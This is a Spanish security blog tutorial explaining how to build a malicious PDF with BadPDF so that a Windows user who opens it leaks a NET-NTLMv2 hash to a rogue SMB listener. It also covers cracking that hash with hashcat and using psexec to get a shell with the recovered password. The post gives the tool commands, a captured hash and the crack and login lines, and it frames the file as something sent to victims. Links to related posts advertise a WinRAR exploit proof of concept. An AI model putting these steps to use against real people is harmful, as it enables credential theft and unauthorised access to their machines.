· Pablo Plaza Martínez · tutoriales  · 3 min read

Robando hashes NTLM de Windows mediante un PDF malicioso

Guía práctica para generar un PDF malicioso que, al abrirse en Windows, fuerza una autenticación NTLM y captura el hash NET-NTLMv2. Incluye generación con herramientas modernas, cracking con hashcat y uso de psexec. Actualizado con mejores prácticas y alternativas actuales.

Guía práctica para generar un PDF malicioso que, al abrirse en Windows, fuerza una autenticación NTLM y captura el hash NET-NTLMv2. Incluye generación con herramientas modernas, cracking con hashcat y uso de psexec. Actualizado con mejores prácticas y alternativas actuales.

Robando hashes NTLM de Windows mediante un PDF maliciosoEn este post vamos a ver de una manera práctica cómo podemos robar los hashes NTLM de un objetivo Windows mediante un pdf malicioso.

NTLM

NTLM es un protocolo de autenticación desafío-respuesta que utiliza tres mensajes para autenticar un cliente.

  • En primer lugar, el cliente establece la conexión y envía un NEGOTIATE_MESSAGE.
  • A continuación, el servidor responde con CHALLENGE_MESSAGE que se utiliza para comprobar la identidad del cliente.
  • Finalmente, el cliente responde al reto con un AUTHENTICATE_MESSAGE. que servirá para que el cliente se autentifique

En las versiones mas actualizadas el hash usuado es el NTLMv2, es decir la version dos de del NTLM.
NTLMv2 envía dos respuestas de 8 bytes a un desafío del servidor (CHALLENGE_MESSAGE). Cada respuesta contiene un hash HMAC-MD5 de 16 bytes del desafío del servidor, un desafío de cliente generado de manera aleatoria completamente o parcialmente y un hash HMAC-MD5 con la contraseña del usuario a parte de otra información de identificación.
Se pueden obtener los hashes NTLM al volcar la base de datos SAM de cualquier sistema operativo Windows, la base de datos de un controlador de dominio o de Mimikatz por ejemplo, pero al realizar este metodo obtenemos el NET-NTLM por lo que no podríamos realizar un ataque Pass The Hash.

Generación del PDF

Para la creación de este PDF usaremos BadPDF, un python muy sencillo de usar que creará nuestro pdf y a su vez levantará un listener de responder que nos permitirá capturar el hash NTLM de quien abra el PDF

 git clone https://github.com/deepzec/Bad-Pdf cd Bad-Pdf python badpdf.py 


Ejecutaremos el python y le indicaremos mediante los diferentes prompts que van saliendo algunos parametros.

Quedará levantado un listener del responder, una herramienta con muchas funcionalidades entre ellas esta la de crear un rogue SMB al que nuestra víctima hará la petición desvelando asi su hash NTLM

Obtención del hash

Una vez transmitido el archivo malicioso a nuestras víctimas, estaremos a la espera de una ejecución. Cuando el pdf se ejecute enviará la petición y obtendremos el hash.

Una vez obtenido este hash se pude intentar crackear para obtener la contraseña en plano del usuario o continuar el ataque a través de la técnica Relaying si se dispone de ese vector de ataque.

Crackeando el hash

Copiaremos el hash completo a un archivo y mediante hashcat realizaremos un ataque de fuerza bruta. Este metodo puede no tener resultado ya que la contraseña debería estar en nuestro diccionario.

 echo "Tester::DESKTOP-06SOKS7:3a42bbec5ab35438:0BFDA0E2A3BBECF021B9617EEDB8638B:0101000000000000C0653150DE09D20121EC78862889D21D000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D2010600040002000000080030003000000000000000010000000020000060323A9F80A7C436E0304FC289FE850F83CE9F4E5EF8FD2AA555612A3DC648230A001000000000000000000000000000000000000900220063006900660073002F003100390032002E003100360038002E0031002E0034003200000000000000000000000000">hash hashcat -a 0 -m 5600 hash /root/Documents/Hacking/Wordlist/rockyou.txt 


Con esto obtenemos la contraseña en texto plano que es 12345. Es importante que nuestras contraseñas sean seguras :) ya que si nuestra víctima dispone de SMB y no tiene demasiadas medidas de seguridad podremos haber conseguido shell

 python psexec.py Tester:12345@192.168.1.42 

Herramientas:
BadPDF, Psexec(Impacket), Hashcat

Referencias:

Back to Blog

Related Posts

View All Posts »
Stealing Windows NTLM Hashes with a Malicious PDF

Stealing Windows NTLM Hashes with a Malicious PDF

Practical guide to generating a malicious PDF that, when opened in Windows, forces NTLM authentication and captures the NET-NTLMv2 hash. Includes generation with modern tools, cracking with hashcat, and use of psexec. Updated with best practices and current alternatives.

Remote Code Execution WinRAR (CVE-2018-20250) POC

Remote Code Execution WinRAR (CVE-2018-20250) POC

Proof of Concept (PoC) for the WinRAR CVE-2018-20250 vulnerability, allowing remote code execution by extracting malicious files to arbitrary directories. Step-by-step guide to create a malicious ACE file that executes a payload on system startup.